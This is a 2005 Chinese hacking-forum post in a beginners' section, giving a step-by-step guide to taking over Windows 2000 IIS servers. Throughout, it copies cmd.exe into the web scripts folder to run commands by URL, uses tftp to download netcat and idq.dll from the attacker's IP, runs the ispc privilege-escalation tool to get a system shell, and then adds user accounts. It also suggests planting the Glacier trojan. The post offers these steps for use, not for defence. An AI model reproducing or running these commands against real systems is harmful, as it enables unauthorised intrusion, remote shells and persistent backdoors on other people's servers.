20CN网络安全小组论坛 - 菜鸟乐园 - 用iis远程命令取得系统控制权

论坛: 菜鸟乐园标题: 用iis远程命令取得系统控制权

作者: toby57 [toby57]

论坛用户

菜鸟入侵之用iis远程命令取得系统控制权

用流光扫描到的黑色主机（什么是黑色主机，请参见流光帮助），可以利用iis远程命令取得系统控制权！
除了流光外，还需要snake的ispc（IIS权限提升工具，还没有的可到我的主页下载）和tftp32。
用鼠标单击黑色主机－》连接，出现iis远程命令行工具，然后执行如下命令：
copy c:\wint\system32\cmd.exe c:\inetpub\scripts\fuck.exe
此时在浏览器中输入： http://192.168.0.1/scripts/fuck.exe?/c+dir+c:\
如果返回对方c:\目录！那么就可以搞定了！
接下来可以有如下方法：
1、把nc.exe拷贝上去执行： http://192.168.0.1/scripts/fuck.exe?/c+tftp -i 你的IP GET nc.exe

c:\\inetpub\\scripts\\nc.exe
http://192.168.0.1/scripts/fuck.exe?/c+c:\inetpub\scripts\nc.exe（执行nc）
此时可以telnet到99，但添加用户的时候很显然权限不够！

2、拷贝冰河服务端上去执行，然后…………

在这里我们不用以上方法。
首先在iis远程命令行中输入
dir c:\idq.dll/s
如果找到文件就
copy c:\……\idq.dll c:\inetpub\scripts
如果没有找到，直接
运行tftp32把idq.dll上传,在浏览器中上传 http://192.168.0.1/scripts/fuck.exe?/c+tftp -i 你的IP GET idq.dll

c:\\inetpub\\scripts\\idq.dll
成功后运行ispc.exe
ispc 192.168.0.1/scripts/idq.dll
接着出现
Start to connect to the server...
We Got It!
Please Press Some to Enter Shell....

Microsoft Windows 2000 [Version 5.00.2195]
(C) 版权所有 1985-2000 Microsoft Corp.

C:\WINNT\system32>
哈哈进来了！@这就可以添加用户了！然后就随便你了！

地主发表时间: 05-03-19 13:56

论坛: 菜鸟乐园